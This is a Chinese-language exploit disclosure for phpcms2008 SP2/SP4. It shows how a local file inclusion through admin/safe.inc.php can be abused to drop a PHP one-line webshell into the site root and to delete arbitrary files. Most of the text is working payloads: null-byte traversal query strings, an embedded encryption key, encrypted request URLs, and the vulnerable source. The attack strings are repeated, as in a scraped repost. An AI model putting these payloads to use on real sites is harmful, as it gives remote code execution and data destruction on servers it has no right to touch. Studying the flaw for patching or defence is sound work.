发布日期:2011-05.04发布作者:c4rp3nt3r
影响版本:phpcms2008 sp2 or sp4官方地址:http://www.phpcms.cn
漏洞类型:文件包含漏洞描述:phpcms本地包含类漏洞,如果该文件包含了/include/common.inc.php就可以包含执行很多后台才能执行的文件了。
由于phpcms的全局变量机制,导致能拿shell的方法很多,类似的问题不止一个。
admin/safe.inc.php文件是后台扫木马的程序,但是很可惜的是虽然文件名叫做safe,但是一点也不safe。
公布一个本地包含秒杀拿shell的方法。
包含:admin/safe.inc.php文件GET提交一下数据将在根目录下生成一句话用上一篇得到的密钥$key=\’sIpeofogblFVCildZEwe\’;加密如下字符串
$evil=\’i=1&m=1&f=fuck&action=edit_code&file_path=evil.php&code=<?eval($_POST[a])?>&mod=../../admin/safe.inc.php%00\’;
http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBUBBhIwBA0II3AlAAABBTUWERt0FRMGCkEXChxgNSwNCVlmehITEiVYQTA2IDQ2NycLalZSQjcqE1hdZ19LQUkOAw8FKHkwCAoBdCwZBl05GBVKVl8=
将在根目录下生成一句话木马
同理任意文件删除漏洞:$evil=\’i=1&m=1&f=fuck&action=del_file&files=robots.txt&mod=../../admin/safe.inc.php%00\’;http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBQAAzkJDg4JYDAqBQkXZzcYBxw9A0sbHhtBDwMia21HQ0p0ahYBHiAeShwHCQJMBSg1bRkEFH91Rw==
参考:Flyh4t [PhpCMS]一个漏洞的二次利用
详细说明:
贴上存在漏洞的代码复制代码代码如下://admin/safe.inc.php<?php defined(\’IN_PHPCMS\’) or exit(\’Access Denied\’);// include/common.inc.php 里面声明了常量// define(\’IN_PHPCMS\’, TRUE);if(empty($action)) $action = \”start\”;$safe = cache_read(\’safe.php\’);$filecheck = load(\’filecheck.class.php\’);if(empty($safe)){$safe = array (\’file_type\’ => \’php|js\’,\’code\’ => \’\’,\’func\’ => \’com|system|exec|eval|escapeshell|cmd|passthru|base64_decode|gzuncompress\’,\’dir\’ => $filecheck->checked_dirs());}switch ($action){…case \’edit_code\’:if (file_put_contents(PHPCMS_ROOT.$file_path, stripcslashes($code))){showmessage(\’修改成功!\’);}break;case \’del_file\’:$file_path = urldecode($files);if (empty($file_path)) {showmessage(\’请选择文件\’);}$file_list = cache_read(\’scan_backdoor.php\’);unset($file_list[$file_path]);cache_write(\’scan_backdoor.php\’,$file_list);@unlink(PHPCMS_ROOT.$file_path);showmessage(\’文件删除成功!\’, \’?mod=phpcms&file=safe&action=scan_table\’);break;…漏洞证明:将在根目录下生成一句话用上一篇得到的密钥$key=\’sIpeofogblFVCildZEwe\’;加密如下字符串
$evil=\’i=1&m=1&f=fuck&action=edit_code&file_path=evil.php&code=<?eval($_POST[a])?>&mod=../../admin/safe.inc.php%00\’;
http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBUBBhIwBA0II3AlAAABBTUWERt0FRMGCkEXChxgNSwNCVlmehITEiVYQTA2IDQ2NycLalZSQjcqE1hdZ19LQUkOAw8FKHkwCAoBdCwZBl05GBVKVl8=
将在根目录下生成一句话木马
同理任意文件删除漏洞:复制代码代码如下:$evil=\’i=1&m=1&f=fuck&action=del_file&files=robots.txt&mod=../../admin/safe.inc.php%00\’;http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBQAAzkJDg4JYDAqBQkXZzcYBxw9A0sbHhtBDwMia21HQ0p0ahYBHiAeShwHCQJMBSg1bRkEFH91Rw==